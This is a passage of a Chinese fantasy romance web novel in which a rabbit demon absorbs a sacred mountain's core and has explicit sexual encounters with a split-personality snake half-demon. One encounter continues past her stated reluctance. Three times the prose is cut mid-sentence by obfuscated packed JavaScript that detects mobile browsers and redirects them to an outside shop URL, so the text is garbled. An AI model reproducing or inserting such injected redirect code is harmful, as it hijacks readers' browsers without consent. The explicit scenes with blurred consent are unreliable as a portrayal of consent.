幸运的是,她没有受到任何阻拦和驱赶;不幸运的是,她进入的圣山好像有点脱离过去的时点,更接近妖神古墟的那座光秃秃周围全还全是各种山火的圣山。 真实得令人心安,可她也失去了与息尘和阿裴的联系。 他们不会困在昔日之境中出不来了吧? 玉扶一边找,一边控制不住想很多,还想起她在妖神学宫听过的第一堂课,授课尊者道,一味追求血脉强大的古妖是会失智的,那—— 剥离息尘的阿裴是在追求强大中迷失了吗? 玉扶不得而知,很快,她就没有心思想这些了,她只知道她快迷失在圣山的庞大的山体中了。 圣山承载的负面情绪,每一刻都在给她带来精神伤害。 她顶着伤害,知晓了更多古妖覆灭的原因,人族的挑拨,天妖盟的疯狂,学宫内部的叛徒…… 终于,妖神为尊的时代结束在了妖族自己的手中。 也终于,玉扶寻到了圣山的核心,她刨开挡住她的山石,用术法清理出供她活动的空间。 圣山的山体核心泛着柔柔的微光,忽明忽亮如同活物搏动的心跳,细看核心表面,也一道裂痕没有,像个会发光的漂亮石头。 比起击碎它,玉扶更想要它。 久久没有派上用场的无相石,与她心意相通地想要将圣山核心的遗留力量占为己有。 是啊,她的力量不足以击碎核心,可如果她吞了它的力量呢? 那核心岂不是会变为普通的石头,到时不就自然碎了。 她快活地绕着圣山核心转圈圈,倏然就想明白了,圣山哪里是一定要她击碎,分明是早就想将同源的力量送给她了。 不然的话,怎么就找上她这个小兔妖呢? 如同回应一般,圣山核心的光芒亮了亮。 她贴上脸,小声说了句“谢谢”,承诺:“我会帮你结束昔日之境中的循坏的。” “执念也好,痛苦也罢,就交给我吧,我一定让你负载的所有所有都重归天地。” 说完,她召出无相石,整个裹住了圣山的核心。 56. [锁] [此章节已锁] 比起玉扶,洗血池对裴息尘的效用并达不到扩张血脉的作用。 但活络他的妖血,激出他的妖性并不难做到,几乎是在他将体内属于人修的金色脉络融合的一瞬,压制已久的妖性彻底爆发。 藏在血脉里的修为,有他的,有息尘的,甚至还有来自他那大蛇母亲的。 充盈的力量胀得他的妖躯不断生长,蛇躯粗壮,每一片蛇鳞都深蓝幽邃,坚如盾牌,每一次肌腹的收缩与舒展,蛇身鳞片都犹如波浪起伏,发出细密交织的金属之声。 继而碎裂的“咔嚓”声率先从吻端决堤,深蓝幽邃的蛇鳞表面色泽变得灰暗,一层隐现的透色肤膜缓缓咔咔显出,只要挣出这层肤膜,无异于强大与新生。 妖性更肆意地敞放,妖力镀上肤膜下的每一片蛇鳞,每一个毛孔都叫嚣着强大,渴望着蜕变。 蛇躯搅动洗血池,摩擦山石,欲以蛮横的方式加速蛇蜕的完成。 他的心神似乎只剩下了变得更强一件事,妖血充盈上瞳仁,眼前血雾一片,本能的凶性驱使着他发泄,他开始锁定周遭的一切,最近的,有令人厌恶的同源气息,还有甜美无比的少女气息—— 然而,在他捕向的同时,厌恶的同源也流光似的向他而来,一瞬冲击入他少了一片鳞的胸下。 蛇鳞完整,妖性也受到冲击一般地恍惚一瞬,脑海中突然出现了另一个意识,聒噪不休,甚至夺走他的力量。 他想起来了,这是被他剥离掉的息尘。 庞大蛇躯从桀骜不驯骤然转向了与自己搏斗,两股意识你啃我一口我啃你一口,互不相让,不同的法光也全落到了自身。 蛇躯开始寸寸缩小,变为半妖形态,继而完整化为人形。 裴息尘一扯搏斗中破烂掉的袍袖,一脸不爽地走出已经被碎石填满的洗血池,不可否认,就在蜕皮的冲破关头,他失智了。 沸腾的妖血因回归的人性部分变得平静,也重新拉回了他的神智,但蜕皮却失败了。 也更证实了,他并抹灭不掉息尘。 他们本就是一体。 归位的人性令他神魂都为之感到圆满,从中,他也接收到了一部分来自息尘的记忆,双圣鉴出了他的血脉。 而息尘也是通过双圣,肯定了只有妖性的自己必然会失智。 他满面阴鸷不爽,既怪双圣多事,教会息尘回归克制之法,又庆幸得意,再如何还是他更强一些。 也是此时,昔日之境越发不稳,时间跃动频繁得上一刻还在招生的学宫,下一刻便是妖火从天降下。 裴息尘顾不上收拾,先寻往玉扶先前逃离的方向,心中不住懊恼,胆小的兔子,这下再见了他,怕不是要跑? * 裴息尘寻到了玉扶清出的山体空间,甫一进入,小兔紊乱的气息扑面而来。 她贪心过了头,一口气吞了大半圣山核心的力量。 这等古老启智山灵的核心,就是瘦死的骆驼也比马大,她现在因为难以消化,整个兔身都处于膨胀暴走的状态。 她想吐又不想吐,这可都是她以后的修为啊! 直到见到进入她空间的“息尘”,不由分说地扑上前,额间相触一瞬,少女的身形重新显露。 裴息尘旋即搂住了她的腰。 急切的玉扶哺过大团灵息,神魂也跟着往“息尘”的识海里挤,双-修功法自然地运转。 这是她唯能想到的不浪费方法,先分摊给“息尘”,再自己夺回来。 灵息相哺,亲吻啾啾,她终于好受一些地打量起与他亲吻的“息尘”。 说实话,她也不知道亲的是谁,这个躯壳里的意识,可能是阿裴,也可能是息尘,还有可能是阿裴又在伪装。 联想之前出现在她面前的小蛇,眼前的肯定是阿裴的可能性更大,然而,不曾失智的迹象,也并不能排除是息尘。 她越亲越心虚,可功法的运转又令她无比地沉入欲望。 她好喜欢这样快乐的修炼方式,不由想,不管是谁,反正都一样。 裴息尘贴心地扶住她的腰,衣衫下的滚烫肌理贴身可感的紧绷,一瞬想明白关节的他,可耻地又借用了息尘才会有的表现,诱引被色心蒙蔽的兔子,欲迎还拒地问道:“阿扶,你这是做什么?” 善良的人总是更容易壮人的胆气,玉扶胆肥了,也兴奋了,往他怀里拱地嚣张道:“亲你,睡-你!” 她现在强得可怕,一把撕开半妖本就破破烂烂的衣服,柔软的唇贴上,沿着他锁骨的线条往上,一下一下吻啄,甚至伸出舌尖小小地舔了舔那滑动的喉结。 脖颈间为她而猛-烈跳动的脉搏,也为她而发红发烫的肌肤,极大地激励了玉扶,可她仍有一点点不安的顾虑,颤动的眼睫虚虚上抬着用眼观察,也用眼问询:“可以吗?” 裴息尘鼻息加重,后背紧贴石壁,方能控制着本性浪、荡的尾巴跑出来迎合,垂下的眼,全是浸着欲的臣服。 他不必说什么,就已很会吊人胃口。 玉扶想,息尘一定是被她亲舒服了,佛修嘛,她懂,害羞,不说话就是答应。 再次嘟起唇亲向他的唇角,咬着唇瓣地厮磨,果然,矜持的佛修也控制不住地给她回应,他拥得她好紧,可他好笨,全部要她主动。 玉扶眉眼都扬着一点小骄傲地展现着自己的技巧,不止大胆地摸他的腰腹,她的神魂也缠上他地交融。 灵与灵的触碰,彻底展开的敏感神经交汇,一瞬就让玉扶头皮都炸开般舒.爽,她半张着唇,忘记了亲吻,眼里泪雾迷离得好像心跳都不是她自己的了。 她恍惚地想,原来真正的神交,这样刺激,这样毫无保留,她的灵力还有修为全然与人共享,而息尘也完全容纳着她消化不了的那份力量,他包容着,与她共同炼化着,然后回哺。 她的躯体明明还没与息尘做亲吻以外的事,就已持续地被送上了颤-栗的云端,个中滋味,简直诠释了何为色授魂飞,何为不知天地何物。 玉扶双腿发软,站也站不住地往息尘的怀里倒,口中喃声着:“息尘......” 一声极轻的笑从玉扶头顶落下,他咬一口她的耳垂,回应:“我在。” 与此同时,那温顺任由她为所欲为的息尘神魂倏然展现出他的狰狞,蛇形显露,又缠又裹地困住了玉扶的神魂。 神魂榫卯般亲密,所有神经触角几乎要融化在一起,玉扶刹时脸颊通红,喘出了声,她恍若被四面八方的水流吞没,将将窒息于情.潮的快..慰,一刻不歇地,可恶的声音又响在她耳畔:“刺激吗?阿扶?” “告诉我,抱着你的是谁?” 简直要被刺激死的玉扶,月匈脯不断起伏着,会这么坏的哪里还会分辨不出是谁来。 她不敢承认地断续呜声:“呜呜......是你......骗我的。” 裴息尘完全不装了,将玉扶转抱了个身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671547|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,动作间,储物中落下颇多不知从哪抢来的精美家具,不大的空间,转瞬布置得犹如个小房间。 玉扶惊讶瞠目,一时乖巧得犹如嵌在他怀中一般紧密,但很快,她身体又有了反应,不只是神魂的牵动,没有羞耻的阿裴完全夺走了主动权,大手点火似的揉捏游移。 肆意无比。 玉扶被欺负得都要哭了,这和她想的作威作福一点也不一样。 裴息尘亲了亲她湿漉漉的眼尾,旖旎无比地与她喃声细语,他承认:“嗯,我欺骗了你。” “可是,阿扶......你真的......没有一点察觉吗?”他每说几个字就要笑亲一下玉扶,指尖也开始抚过玉扶颤抖的脊骨:“你是期望我对你这样的。” “难道早知道是我,你就不会睡......我了吗?” 他掰过玉扶漂亮得靡艳的小脸,笑得一派妖孽,挑逗的眼神直如剥开玉扶所有地帮她答道:“嗯,你会害怕地睡-我,哈~” 尾调的一声“哈”直如兴奋的开关,将玉扶剖得明明白白。 她当然不是一点都没有察觉了,或者说,在小蛇的息尘出现前,她就发现了阿裴在装作息尘,可谁让她又心虚又胆小呢,而阿裴那样、那样白天黑夜切换着勾她、罚她、诱她…… 将对她偏向息尘的不满拉得无限长,也将她的心虚酿得无尽配合他做戏。 如果早看清寻来的就是阿裴,她当然不可能就不扑了,她只会收敛张扬,然后小心翼翼讨好一点地吃他。 他真是坏透了,他都快将息尘的意识玩成情趣了。 真是一点羞耻都没有,还将她的下限也不断拉低了。 玉扶一点也辩驳不了,呜呜地埋下脸,不想面对。 她的反应取悦了阿裴,他咬着她耳坏笑,快活地抱着她摇,他就知道怂兔子的色心对谁都一样,不爽仍有之,可较量与情趣亦有,被他伪装骗了还配合的阿扶,何尝不是一种喜爱呢? 他又笑又哈的,玉扶敏感的耳朵都要醉了,额上更是泛出细汗,她整个人都好不对劲,好像有好多好多看不见的小虫子一直在咬她,让她不住地想扭,胯骨羞耻地轻抬,她发现她还是看轻了肉谷欠,也看轻了阿裴煽风点火的本事。 她迷乱得都快分不清自己在哪,又在喊谁了,她想喊阿裴,可又不分场合地担心起冲向了阿裴的息尘,口中的喃声又变成了“息尘......他怎样......”。 这时候阿裴就会用更坏的反应回应她,摆弄她的月退,摁着她的手,坏极了地放出惑心镜,要她看向镜中的他们:“阿扶,你确定要我现在放他出来吗?” 镜中少女小脸潮红,腰肢上扬,裙摆歪斜凌乱,肌肤都遮不住地敞出,眉眼浓郁的华美男子压迫十足地单腿跪压而下,后背筋骨犹如舒展的缎子,流利地用胸膛挤-压着少女的空间,他只凭一手便将玉扶的双手提起,甚至还能空出拇指摩挲她的腕侧。 若是再细看,便可瞧见,他余的一手也还锢少女膝弯往上。 皙白的肌肤一会向内凹陷,一会又柔韧极好地弹回。 真是,太羞了。 心理加身体感觉的羞涩,她像是被煮熟的虾子,只一眼,就想将自己全蜷起来才好,更别说是顺着阿裴说的,去想换息尘出来了。 那简直是能让她羞死的程度。 她呜呜了几声,求饶:“你不要说了......呜我只要你......” 57. 第 57 章 裴息尘很享受地亲了亲玉扶小嘴,渐松了上提着她的力道,甚至连神魂都放松了对玉扶神魂的缠绕,如同安抚受惊的小动物,所有动作变得轻缓,他用鼻尖与玉扶的鼻尖交相轻蹭着道:“嗯......阿扶,好乖......” “他没有什么好的,呆瓜一个,只会让你不要闹……” “换了我,才不会一直让你克制,还让你学乱七八糟的经文......嗯......你想睡-我就可以睡-我……我能给你最大的回应。” 玉扶意识早已被撩得迷离,她不懂,阿裴怎么突然就无耻地拉踩了起来,他把自己说得那样好,好诱人堕落啊。 尤其是那所有变得温存的动作,玉扶舒服得直哼哼,可是,为什么她天性里的直觉还在发出危险的警报? 她软软无力的手推了息尘几下,并没有推动,下一刻,她被拥得更紧,玉扶倏地危险感更甚地紧张。 她发现,当神魂交融的刺激退却,被忽视的存在感便变得非常突兀了起来。 玉扶终于察觉危机来自哪,蹬腿几下,向后退:“啊,我不想要的这个!” 泪眼沁雾,满眼都可怜兮兮地表示着:只神交不行吗?神交就已经很舒服了。 但早就做好铺垫的坏蛋哪里有这么容易放过她,蹬的几下除了将自己扭得更打开,连腿都没能挣动。 裴息尘倾身重新吻住她,将她唇瓣吻得湿漉漉的,也吻得她呼吸急促。 继而眼泪倏地冲出了玉扶的眼眶。 她有点愣住了,但好像也并没有非常可怕。 她下意识护住的肚子,能清楚感知到吃下了。 她又纯又澄的眸子,懵然得可爱,不过,很快她的脸蛋就因为阿裴的喘又红了,体型的差距从来没有这样明显过,他的伏身危险而野性,发红的双眼压迫十足。 甫一对上眼,手掌覆下的肌肤都颤了颤。 在动!? “阿扶,它在和你打招呼。”裴息尘压抑地弓身与玉扶贴耳,动作缓缓:“喜欢吗?” 玉扶不想吭声,但她的反应已经给出了回答,她的适应能力太好了,方方面面那种,几乎没用一会,她就已经能从新的体验中体会到快乐。 原来精神是精神,肉亻本是肉亻本,不同的感受,不同的快乐,她没有直接回答,而是小声地嗔道:“我都没准备好。” 裴息尘不理会她这句话,等怂兔子准备好,圣山的核心都要被她消化完了。 他略扯唇后,引导着玉扶与他更契合起来。 肤贴着肤,汗津津,黏腻腻,最原始的渴望萦在二人之间。 裴息尘还是有照顾玉扶,只与她用人形的姿态来,不时地重复问她:“喜欢吗?” 起初,玉扶还能倔强地回答只有一点儿喜欢,比不上神魂来,后来几次慾望被吊得高高的时候停下,撒娇不行,哭唧唧也不行,也就学乖了,又亲又缠地主动坐上前,趴到他胸口不断承认:“喜欢......好喜欢......给我吧阿裴......” 山腹无日月,唯有的一点光都是圣山核心发出的,妖虽并不需要光就可以视物,可光的存在很多时候能带来更多的观感,当他们翻来覆去地探索了所有,裴息尘向圣山核心弹了一道灵力,其光源大亮,几乎照亮了大半个空间。 玉扶捂脸又想将自己藏起来,掩耳盗铃的举动,好像她不去看,就能欺骗自己似的。 裴息尘看她可爱模样,视线一寸一寸落在她肌肤之上,莹莹生光般粉润漂亮,指腹下触感更是好得想重新再来,甚至还想用尾巴紧紧缠住她。 可惜,那场失败的蜕皮,他的鳞片失去了光泽,出现了他不可容忍的丑陋,在恢复前,他并不想让玉扶瞧见。 玉扶透过指缝触到他的视线,整个身子都不由瑟瑟,强悍雄性的身躯已让她领教到各方面的差距。 除去一开始的缓慢,后面简直是腰腹不断下砸的力道。 到现在,她一想起,肚子就又酸又痛,尤其是,他怎么还看啊,就算是妖,也不能总这样、没有底线吧。 玉扶忍不住并了并腿,手指摸向一旁自己的衣裙。 然,甫一动作,整个身子又被强硬地抻开。 汩汩流淌得她的泪都羞出来了。 她抓住他的手摇着头,可怜兮兮地求饶:“不要了,好累,就算是妖也没力气了。” 她完全不理解怎么有些大妖能不停不休地整个月,反正她是小兔妖,她不行。 裴息尘顿了一瞬,倏然将玉扶整个端起来,抱到腿上,瞬间湿濡一片。 裴息尘感受到地轻笑:“嗯?吐出来了。” 慵懒散漫的坏蛋,邪肆暧昧的笑,笑得人面红耳赤,玉扶忍不住去捂他的嘴:“不许笑,都怪你!” “嗯,怪我。”裴息尘从善如流认下,将少女的手指直咬入口中。 好温的舌,好魅的半妖,明明同一张脸,怎阿裴就能用得这样堕落风流,玉扶忘记了抽出自己的手,耳畔全是手指被搅动的啧啧声,她好像真的完了,她拒绝不了他的。 不管他们是不是同一人,也不管阿裴的本性有多坏,她就是会喜欢上圣洁的,也会喜欢上完全相反的坏蛋。 她是妖嘛,她为什么要做选择? 她可以都要啊,只要他们解决不了分不开的问题,那就都是她的,她知道的,息尘一定还在息尘的身上,不然的话,阿裴不会用放出息尘来吓唬她。 玉扶想得发乐,全然不觉得自己吃着碗里的还想着锅里的有什么不对。 如果不贪心无欲念,她就不是妖了。 裴息尘抵出玉扶的手指,狐疑地颠了颠她:“想什么?” 玉扶摇头,不告诉他。 裴息尘呵呵磨牙,咬着她亲,本就坐得亲密,哪里抵得住这样乱亲,玉扶呼呼喘气,连连摇头,裴息尘便笑着指给她看圣山的核心,问她:“阿扶,你知道为什么修炼时候的妖不知疲惫吗?” 玉扶傻傻看去,圣山核心的光芒依旧,除去闪烁得慢了些,并不因被她夺走大半力量而暗淡,所以,有什么关联吗? 裴息尘:“因为修炼啊。” 玉扶一刹明白,双修也是修炼,身体的疲惫完全可以重新靠神魂的交融达成持续。 几乎是在想明白的同时,玉扶便被重新拉回欲海的沉浮,阿裴的神魂不由分说地缠上来,寄存的力量源源不断地重新回哺给玉扶。 玉扶从来没有修为增长得如此快速过,好像只要享受快乐就能进步。 小小的一方空间,男子与女子,天真与堕落、纯美与野性,还有粗-暴与欢-愉交织,他们共赴一场名为欲海的沉沦。 而圣山之外,由过去而成的一方时间循环,也正在走向既定的覆灭,大妖争斗,法光耀天,地脉震动,地火、妖火愈燃愈烈。 已与圣山核心分不开的玉扶清楚知晓,能见到此画面,说明留给她的时间不多了,一旦昔日之境的时间走向最后,那圣山的核心便会脱离她的掌控,而她,也会被永远留下,直到被同化为循环中的一份子。 她越发急切地回应阿裴,神魂热情地反扑,至于在她亻本内交替齐用的两物,玉扶都无暇去计较了,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16682792|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还想活好久好久呢,她还要回去告诉师姐们她的长进,一口气地,玉扶夺过核心内所有剩余的力量。 灵息膨胀,难受得她“哈”出声,直到被阿裴分担去,她才舒服许多。 被夺走所有力量的圣山核心,光芒霎时暗下,犹如一颗普通石头一般发出“咔咔”的碎裂声,于碎裂中,玉扶好像看到了最后一个画面,一颗石化的蛇蛋,被双圣在彻底封闭前送出了妖神古墟。 或许这便是双圣遗留的执念,也是兜兜转转吸引得他们来此的最初因果。 核心化为齑粉,整个山体摇动,昔日之境逐渐消失,有一瞬,玉扶清晰地感到了同外头的联系。 那些不曾离开妖神古墟的大妖正在靠近—— 不消一刹,玉扶与裴息尘齐齐穿戴整齐,冲出将将倒塌的圣山。 各族大妖霎时将他们围困,有本是同盟的鹰族,也有明显打了一架的狐族和狼族,至于害得他们如此的雪仙,一眼扫过,并未见到。 狐族与狼族大妖率先攻上前,他们所想,也不难猜,整个妖神古墟,最特殊也最可能存在古妖传承的圣山,从头到尾只进入了二妖,不管他们得到了什么传承,也不能让其轻易走掉。 玉扶实力大增,已经成为她的好处,才不会让出去,可一眼望去,好多大妖啊,一下子就躲到了阿裴的身后。 而裴息尘也还未来得及动手,只见上一刻还在犹豫的鹰族少主,抢先一步拦住了那两族大妖。 狐族雪漪气急出声:“单云霄,你鹰族莫不是要改主子了?你是没听见我那好妹妹喊你带来的这蛇妖什么?” 能被雪仙称为少主,还与上任妖王一般同族,最重要的是他们很大可能得到了传承。 种种,能令人联想的可就太多了。 在场的妖,哪一个不是被雪仙摆了一道,到现在都还没能将其抓住,若是还放跑了眼前两妖—— 雪漪眸光一厉,五爪抓向阻拦的单云霄:“别以为我不知道你想什么,蛇妖是你们鹰族带进来的不错,可想占为己有,也要看我答不答应!” 一切的发生不过电光石火之间,尤是雪漪与单云霄对上的同时,狼族、甚至他们身后旁的妖,早早追着逃跑的二妖而去。 嗯,裴息尘拉着玉扶跑了。 直跑了好半响,玉扶还瞧着阿裴的背影没反应过来,阿裴是这样会逃跑的性格吗? 难道不该牛气哄哄地蔑视所有吗? 就算打不过所有妖的围攻,那也应会动手震慑一二。 玉扶无疑是极其了解阿裴和息尘的,他们分开的意识,总是极端地走向好与坏两个不同的方向。 然而,好像自从阿裴一身破烂来不及清理地寻上她后,就有点说不上来的变化。 坏还是坏,但多了一份温柔,也没有那样特别特别的精致讲究了。 只是,阿裴自身却好像没有察觉到这点改变? 还在逃跑,玉扶暂压下这点儿不解,眼见后头狼族的傻大个要追上,玉扶使坏地以无相石断后,无状的巨石“啊呜”吞下大妖,四面八方的大石不断被吸引,石阵顷刻成型。 她才没有白在妖神学宫上课呢。 她学会了好多适合她的术法,对无相石的驱使也越发得心应手。 许是圣山的彻底轰塌,妖神古墟突然下起了雨,舒适的,绵绵不绝的,地火、妖火也好似敛了不少气焰。 也正是这样的时候,裴息尘终于带玉扶寻到了隐蔽的躲藏处,他道:“阿扶,我要蜕皮了。” 玉扶:啊!? 又要蜕皮,还是现在? 58. 第 58 章 玉扶惊讶抬眼,却发现息尘的视线并不与她对焦。 他的眼瞳好像结着一层厚厚的阴翳,所有眸光都变得黯淡。 玉扶下意识伸手,在他眼前挥了挥。 裴息尘抬手就握住,只他微偏的侧脸,还有蹙动的眉,都清清楚楚地让玉扶知道,阿裴真的看不到了,或许,在圣山山腹时他就已经有了此迹象,只是还不曾严重到彻底看不清的地步,也以至于到了现在,他还在尝试看清。 也不知那些一照面就对上的大妖们有没有察觉? 玉扶柔软的本心一下就为阿裴泛滥了,她充当他的眼睛,拉他往更隐蔽角落而去。 尤担心这样还不够,她又在山石之中清出一方空间,躲入。 虽在炼了圣山核心大多力量后,还没来得及好好感受,但力量从来不会骗人,甚至,因着昔日之境中对地形的了解,玉扶天然占优地以山为阵,缓缓隐去了他们此时藏身的矮山。 在玉扶忙活之时,裴息尘一直不曾出声打扰,也不曾影响她的行动,只是一直准备着不管有何大妖寻来,都还有一战之力。 可慢慢等待下来,他发现,长进了的兔子,在躲藏与逃跑上,完全不用人操心,不由莞尔。 而终于一通忙活完的玉扶,抹了抹汗,才一屁股坐到裴息尘身边,她贴脸凑近地观察:“还是一点都看不见吗?” “怎么就突然又要蜕皮了呢?”几乎可想,阿裴的上一次蜕皮一定是失败了,但是,毕竟眼见过他蜕皮的阵仗,玉扶不由后知后觉地想到,阿裴一蜕皮,要是又进入六亲不认的狂暴状态的话,那她不就第一个遭殃了? 她心里简直悔啊,拉着裴息尘愁道:“我们才躲好,你千万忍住啊,你一蜕皮,我们就都暴露了。” 即便看不见,裴息尘也知道玉扶在担心什么,没良心的兔子,只会气他! 他喉间发出气狠了的呵呵声道:“忍不了。” “你忘了我们修炼多久了?” 玉扶脸颊发烫,一下想起圣山山腹中,她与阿裴,神魂各种形态翻来覆去地交融,身贴着身不知疲惫地消耗,没日没夜的双修,受益的自然不会只是她,而且,她都还有一部分没炼化的力量,还寄存在阿裴神魂中。 想通关键,玉扶无话可说,怨念的视线仗着阿裴瞧不见,扫一眼又扫一眼—— 他们一个瞎,一个怂,哪打得出去? 可躲的话,先不说能不能一直躲下去,一旦息尘蜕皮,动静一定是会有的,就算她愿意给他护法,她能护得住? 自己跑吧。 想法一出,玉扶自己先心虚了,做兔子怎么可以这样没良心!才睡过呢! 那怎么办才好嘛? 玉扶托着脸叹气,只见,下一刻,阿裴起身,在向外走。 她惊得追上前拉住他:“你去哪?” 裴息尘:“你不是担心吗?我去杀了他们!” 啊? 玉扶唇瓣都张圆了,翕动几下才寻回声:“你不是看不见吗?” “多危险啊。” 即便有修为者都能通过神识感应周遭,可双眼从来都不是没用的,大妖之间的争斗,更是每一分心神都不能浪费,等神识辨得出敌方的攻势,应对就已然慢了。 不是他看不起阿裴,而是其他妖族实在势众,而且他的状态还很不稳定。 想来想去,玉扶不得不承认,她就是在担心坏蛋,揪住他衣料的手一直不曾松开。 裴息尘垂眼“看”来,倏地笑了。 失去焦点的眸子并没有让他的面容失色,反而柔和了那份迫人的野性,漾出了不一样的诱人。 多一分过狂,少一分又过淡,简直像是出现第三人格一样,让玉扶心跳砰砰得如坐针毡,她松开了手,气弱道:“好吧,你想蜕皮就蜕皮吧。” “阿扶,你喜爱我。”裴息尘语出惊人,他自然记得上一次失败的蜕皮,失智的状态,还有逃走的玉扶。 胆小的兔子,会有阴影也并不奇怪,但她现在的反应,怎么就不是对他迷恋得不行了? 笑意一时越发盛。 玉扶被他笑得又惊又羞恼,他们是在讨论这个吗? 阿裴,是不是蜕皮得脑子不太好了? 但好在,他没有再说什么出去杀杀杀了,而是如同做出什么退让一般,恶狠狠地抱住玉扶道:“阿扶,我只让这一次。” 玉扶还不曾理解他话中的意思,只觉肩膀一沉,继而另一道意识苏醒。 “他”缓缓从玉扶肩头抬起眼,亲密的拥抱,少女的馨香无孔不入,但什么都瞧不见的状态,让他下意识确认:“阿扶?” 清而淡的声线,是息尘。 玉扶默了默,犹豫着,缓缓地退出了拥抱,她微垂着头,像个又做错事等待教训的孩童,足够乖巧却小心翼翼。 空落的怀抱,息尘心扉酸涩怅然,他无奈“看”了玉扶一眼,淡然又包容。 没有指责,也没有追问,只是安安静静地等待。 他总有种说不明的期待,着了魔一般渴望着玉扶不要就此将他与阿裴区别开来,他的感情一如他修了二百年的禅,又清又寡,所有波动的情潮起伏,一次又一次地被他曲解按下,也一次一次地与玉扶保持着微妙距离,直到最后,被阿裴毁掉了最后的一道防线,他才微讶地发现,他其实一点也不介意。 被撞开的心,掩藏的情绪,复杂、陌生,可又尖锐可怖无比,原来,抛去那层披了许久的佛子外衣,他也不过是个凡俗男子。 会心痛,会嫉妒,还会——心动。 情不知所起,或许是第一次见她天真浪漫地行在街头,也或许更早,早在她赠他花。 他淡色唇瓣超出他控制地张合:“阿扶,你没有错,你只是一只小兔。” 所以,无论是被诱,还是旁的天性,他都不会怪她。 玉扶陡地抬眼,企图从他平静的面上看出什么,她当然不会觉得自己做错了什么,要有错,那也是他们半妖复杂的错,她只是为难,为难如何同时在阿裴与息尘之间平衡。 固然,也有一点点担忧被息尘讨厌的缘故在,但也就一点点,谁让他比起古板呆瓜更显著的特点是好心肠呢。 可现在他又说她没错诶。 简直、简直好心肠得体贴到她心里去了。 她一下就心花怒放,放肆了起来:“息尘,我可担心你了。” 息尘:“嗯,我知道。” 玉扶:“你不知道。” 息尘:“我知道。” 空气有一瞬的静谧,玉扶想问“你怎么知道”,她明明都还没开始想。 但息尘想的却是,他确实知道,她与阿裴情潮炽烈时,还不忘在意他的去向,那一声声于压迫中碎裂的吟声,有唤过他的名。 冷静肌骨下泛起滚烫的温度,不该想,混合的记忆却如关久了的坝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691366|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闸,一旦有了缺口,便不管不顾地泄流而下。 识海分裂还有阿裴蜕皮失智与他重归身体的融合影响,人性妖性非但没有区别得分明,反而交织得难分难舍,妖的部分离不开人性的理智缰绳,而人性的理智也时时刻刻受着妖性的侵蚀。 阿裴不再能一味地强压控制他的所看所感,惑心镜所照出的那香艳一幕,问及的“确定要我现在放他出来?”,震撼的不止是玉扶,阿裴甚至于心间挑衅他:“你敢看吗?” 他不敢。 那刻后,双方面地断了互感,但他也于长久封闭中滋生出无限的妄想,直面到了他自身的怯弱阴暗。 无言地一望,没有说话,也什么都看不见,可又仿佛什么都说尽了,剥尽了。 某一刻,玉扶恍若见到一个赤城剥光了的佛修立在她面前,他在等着她审判,等着她选择。 玉扶的心被不上不下地吊着,好像是她想的那样,又害怕不是她想的那样,单纯的心思被搅来搅去地煎熬,终于,她不愿忍受地问:“你怎么......知道的?” 息尘喉间发紧,要他说出那等互感缘由,无异挑战他的道德下限。 他就那样站着,裸露的喉颈肌肤红得犹如过敏般发烫,华美的面容,包容的气质,无一不变得笨拙迟钝起来。 玉扶凝住了,她也不要他回答了,或者说,她害怕他回答,害怕听到什么通感了、互感了之类的答案,真是羞得她脚趾都要蜷起来了。 她突然捂耳蹲下,摇头:“啊......我不想知道了!” 息尘不解地垂眼,看不见,但能感受到阿扶的情绪,也知如他这样识念割裂的半妖大抵很奇怪,不管如何,他还是试图安慰:“也不是什么都能感受到。”, “当真?”玉扶委屈哒哒地抬头,声中都还带着羞哭了的鼻音。 息尘不由侧耳,肯定:“当真。” 息尘敢说,那玉扶就敢信,她终于好受一些地拍拍不存在的灰尘起身,转而好奇起阿裴愿意让息尘出来的用意:“息尘,蜕皮是对你没有影响吗?” 息尘摇头:“他是要我代替他蜕皮。” 尤是说着,他的化形似乎再也抵不过蜕皮的需求,于玉扶眼前,变成了一条小蛇。 玉扶下意识接住,而息尘也本能地缠上玉扶的手,抬起的蛇首,显然也无预料的茫然。 这样看时,他的双眼灰濛更甚,没有眼皮,而是覆盖着一层眼罩一样的鳞片。 她知晓,这是蒙眼期,可是,换成息尘来蜕皮,未免变得也太小一点了,一点也不威武,也不可怕,而且,怎么看都有点呆呆的。 玉扶抿着唇地想笑,轻摸了摸息尘小蛇的头,才问:“你这样蜕皮真的没关系吗?” 息尘嘶嘶了几声,许是因当过小蛇,他这次适应得很快,且,也大抵是他对自己认知的缘故,才变成如此模样,他沉稳道:“无妨。” 奇异地,玉扶从变小的息尘小蛇上,感到一种满足的怜爱感,保护欲都控制不住爆发了:“你就放心蜕皮吧!我可以保护你。” 